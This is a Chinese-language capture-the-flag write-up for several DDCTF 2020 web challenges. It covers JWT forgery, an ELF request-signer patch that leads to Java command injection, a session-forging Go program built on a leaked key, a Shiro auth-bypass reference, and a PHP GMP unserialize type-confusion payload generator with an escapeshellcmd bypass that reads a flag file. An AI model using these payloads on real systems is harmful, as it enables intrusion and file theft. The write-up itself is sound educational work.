Web 签到题

发现两个api,分别是 /admin/login 和 /admin/auth
先login,返回来个token

auth时需要 admin,token 为jwt的 明显要伪造

爆破一下发现是 密钥是自己的密码

jwt 伪造一下 https://jwt.io/

访问给了个url 下载下来是个elf文件

是一个发送请求的程序签名格式:=command|time_stamp,后端会对签名进行校验,成功才能执行命令.
可以直接修改elf文件中DDCTF的值
IDA 打开 全局查找 DDCTF

找到了 commond的长度和 值

修改值和对应的长度,测试发现为java 命令注入
直接读文件
java.util.Scanner(new java.io.File("/home/dc2-user/flag/flag.txt")).next()


卡片商店
有一个借别人卡片和 借给别人卡片两个功能

当借别人 1000000000000000 时发生溢出
然后只需要还82706434,然后填补上代还记录即可兑换礼物

拿到礼物


go 语言用的一个session 库 gin-session 项目地址https://github.com/gin-contrib/sessions
顺便恶补了一下 Go 语言基础
然后用给的key 伪造一下session,用项目的例子
package main
import (
"github.com/gin-contrib/sessions"
"github.com/gin-contrib/sessions/cookie"
"github.com/gin-gonic/gin"
)
func main() {
r := gin.Default()
store := cookie.NewStore([]byte("Udc13VD5adM_c10nPxFu@v12"))
r.Use(sessions.Sessions("session", store))
r.GET("/hello", func(c *gin.Context) {
session := sessions.Default(c)
if session.Get("admin") != true {
session.Set("admin", true)
session.Save()
}
c.JSON(200, gin.H{"hello": session.Get("hello")})
})
r.Run(":8000")
}

访问得session
访问得flag

Easy Web
https://xz.aliyun.com/t/7964 shiro CVE-2020-11989
权限绕过

存在任意文件下载 下载配置文件web.xml



后续。。
Overwrite Me
源码
<?php
error_reporting(0);
class MyClass
{
var $kw0ng;
var $flag;
public function __wakeup()
{
$this->kw0ng = 2;
}
public function get_flag()
{
return system('find /HackersForever ' . escapeshellcmd($this->flag));
}
}
class HintClass
{
protected $hint;
public function execute($value)
{
include($value);
}
public function __invoke()
{
if(preg_match("/gopher|http|file|ftp|https|dict|zlib|zip|bzip2|data|glob|phar|ssh2|rar|ogg|expect|\.\.|\.\//i", $this->hint))
{
die("Don't Do That!");
}
$this->execute($this->hint);
}
}
class ShowOff
{
public $contents;
public $page;
public function __construct($file='/hint/hint.php')
{
$this->contents = $file;
echo "Welcome to DDCTF 2020, Have fun!<br/><br/>";
}
public function __toString()
{
return $this->contents();
}
public function __wakeup()
{
$this->page->contents = "POP me! I can give you some hints!";
unset($this->page->cont);
}
}
class MiddleMan
{
private $cont;
public $content;
public function __construct()
{
$this->content = array();
}
public function __unset($key)
{
$func = $this->content;
return $func();
}
}
class Info
{
function __construct()
{
eval('phpinfo();');
}
}
$show = new ShowOff();
$bullet = $_GET['bullet'];
if(!isset($bullet))
{
highlight_file(__FILE__);
die("Give Me Something!");
}else if($bullet == 'phpinfo')
{
$infos = new Info();
}else
{
$obstacle1 = new stdClass;
$obstacle2 = new stdClass;
$mc = new MyClass();
$mc->flag = "MyClass's flag said, Overwrite Me If You Can!";
@unserialize($bullet);
echo $mc->get_flag();
}
?>
源码中有hint/hint.php ,直接访问
得到一半flag 然后提示 用 PHP GMP Unserialize 进行覆盖
google 发现是个 GMP反序列化类型混淆漏洞
参考链接
https://bugs.php.net/bug.php?id=70513
https://hackerone.com/reports/198734
https://www.secshi.com/18203.html
利用条件
-
PHP 5.6 <5.6.30
-
存在可控 __ wakeup()
源码中的__wakeup 都不可控,想要覆盖第四个类中的值,还可以用内置类 DateInterval
利用payload
<?php
$cmd = '';
$inner = 's:1:"4";a:2:{s:4:"flag";s:'.strlen($cmd).':"'.$cmd.'";s:2:"bb";O:12:"DateInterval":1:{s:1:"m";R:2;}}';
$exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}';
echo urlencode($exploit);
?>
Myclass 是第四个定义的类 所以需要 s:1:"4";
flag 覆盖成想要的值即可,但存在escapeshellcmd 限制
https://zhuanlan.zhihu.com/p/36602107?from_voters_page=true

因此构造 直接读文件即可 ` -iname sth -or -exec cat /HackersForever/suffix_flag.php ; -quit`

最终flag为 ` DDCTF{VgQN6HXC2moDAq39ktVGosRfMQmazsxd}`


